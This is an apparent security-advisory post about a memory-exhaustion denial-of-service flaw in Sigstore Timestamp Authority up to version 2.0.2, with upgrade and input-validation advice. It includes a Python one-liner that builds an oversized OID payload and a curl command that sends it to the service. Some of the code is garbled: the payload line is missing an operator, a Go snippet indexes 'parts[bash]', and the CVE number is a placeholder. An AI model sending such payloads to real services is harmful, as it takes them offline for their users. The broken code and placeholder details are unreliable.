Listen to this Post
The vulnerability (CVE-2024-XXXXX) in Sigstore Timestamp Authority arises from improper parsing of untrusted data. Two functions are involved. The `api.ParseJSONRequest` function processes a client-supplied OID (Object Identifier) by splitting it on period (‘.’) characters using strings.Split. The `api.getContentType` function similarly splits the `Content-Type` HTTP header on the substring “application”. When an attacker sends a malicious request containing an OID with thousands of periods (e.g., “1.2.3.4….”) or a malformed `Content-Type` header with many “application” substrings, these splitting operations force the service to allocate massive, contiguous memory blocks proportional to the input length (O(n)). This asymmetric resource consumption can exhaust available memory on the host system, leading to a denial-of-service condition and rendering the timestamp authority unavailable.
Platform: Sigstore Timestamp Authority
Version: <= 2.0.2
Vulnerability: Excessive Memory Allocation
Severity: High
Date: Dec 4, 2025
Prediction: Patched Dec 5, 2025
What Undercode Say:
Simulate malicious OID payload generation
python3 -c "print('{\"oid\":\"' + '.1'1000000 + '\"}')" > malicious_request.json
Send crafted request to vulnerable endpoint
curl -X POST http://vulnerable-tsa/api/v1/timestamp -H "Content-Type: application/json" --data-binary @malicious_request.json
Check current version of a running service
curl -s http://localhost:8080/metrics | grep version_info
// Vulnerable code pattern (simplified)
func ParseJSONRequest(r http.Request) {
oid := extractOIDFromBody(r) // Untrusted user input
parts := strings.Split(oid, ".") // Allocates slice for each '.'
// ... process parts
}
func getContentType(header string) string {
parts := strings.Split(header, "application") // Excessive splits possible
return parts[bash]
}
How Exploit:
Attacker crafts HTTP request with OID containing repeated ‘.’ characters or a Content-Type header with many “application” substrings. Sending this request causes the service to allocate excessive memory, potentially triggering an out-of-memory (OOM) crash and Denial-of-Service.
Protection from this CVE:
Upgrade to version 2.0.3. Implement request size limiting at load balancer or WAF. Validate and sanitize OID format before processing.
Impact:
Denial-of-Service (DoS) via memory exhaustion. Service instability and crash.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
